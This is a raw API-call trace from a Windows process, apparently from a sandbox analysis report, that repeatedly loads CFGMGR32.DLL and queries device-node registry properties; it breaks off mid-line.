SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0199.001] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0199.001] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0199.002] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0199.002] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0199.002] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0199.002] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0199.002] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0199.002] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.002] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.003] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.003] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.003] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0199.003] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856a60) returned 1 [0199.004] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.004] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.007] malloc (_Size=0x18) returned 0x196ef0d1960 [0199.007] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0199.007] malloc (_Size=0x10e) returned 0x196ef0d6890 [0199.007] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0199.008] free (_Block=0x196ef0d6890) [0199.008] malloc (_Size=0x48) returned 0x196ef0fb770 [0199.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5779fa1c, dwHighDateTime=0x1d9eb0c)) [0199.008] SetEvent (hEvent=0x248) returned 1 [0199.010] malloc (_Size=0x18) returned 0x196ef0d1c80 [0199.010] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.010] free (_Block=0x196ef0d1c80) [0199.010] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0199.010] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0199.010] free (_Block=0x196ef0d1bc0) [0199.010] malloc (_Size=0x18) returned 0x196ef0d1d60 [0199.010] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0199.010] free (_Block=0x196ef0d1d60) [0199.010] malloc (_Size=0x18) returned 0x196ef0d20e0 [0199.010] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0199.010] free (_Block=0x196ef0d20e0) [0199.010] malloc (_Size=0x18) returned 0x196ef0d1d20 [0199.010] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0199.011] free (_Block=0x196ef0d1d20) [0199.011] malloc (_Size=0x18) returned 0x196ef0d20e0 [0199.011] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0199.011] free (_Block=0x196ef0d20e0) [0199.011] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0199.011] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0199.011] free (_Block=0x196ef0d1ae0) [0199.011] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855060 [0199.011] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0199.011] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0199.011] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0199.011] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0199.011] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0199.011] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0199.011] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0199.011] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0199.012] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bfa90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.012] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bfa98, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.012] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bfaa0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.013] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bfaa8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.013] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bfab0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.013] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bfab8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.013] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bfac0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.014] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0199.014] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855060) returned 1 [0199.014] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.014] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.017] malloc (_Size=0x18) returned 0x196ef0d1e60 [0199.017] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.022] malloc (_Size=0x48) returned 0x196ef0fbc20 [0199.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5779fa1c, dwHighDateTime=0x1d9eb0c)) [0199.022] SetEvent (hEvent=0x248) returned 1 [0199.025] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.025] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.027] malloc (_Size=0x18) returned 0x196ef0d20a0 [0199.027] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.028] malloc (_Size=0x48) returned 0x196ef0fb860 [0199.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x577c59e5, dwHighDateTime=0x1d9eb0c)) [0199.028] SetEvent (hEvent=0x248) returned 1 [0199.030] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.030] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.033] malloc (_Size=0x18) returned 0x196ef0d1e00 [0199.033] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.034] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0199.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x577c59e5, dwHighDateTime=0x1d9eb0c)) [0199.034] SetEvent (hEvent=0x248) returned 1 [0199.036] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.036] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.246] malloc (_Size=0x18) returned 0x196ef0d1f00 [0199.246] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.246] malloc (_Size=0x48) returned 0x196ef0fbb30 [0199.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x579dbab8, dwHighDateTime=0x1d9eb0c)) [0199.247] SetEvent (hEvent=0x248) returned 1 [0199.251] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.251] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.254] malloc (_Size=0x18) returned 0x196ef0d19e0 [0199.254] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.257] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0199.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x579dbab8, dwHighDateTime=0x1d9eb0c)) [0199.257] SetEvent (hEvent=0x248) returned 1 [0199.259] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.259] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.261] GetProcAddress (hModule=0x7ffa786c0000, 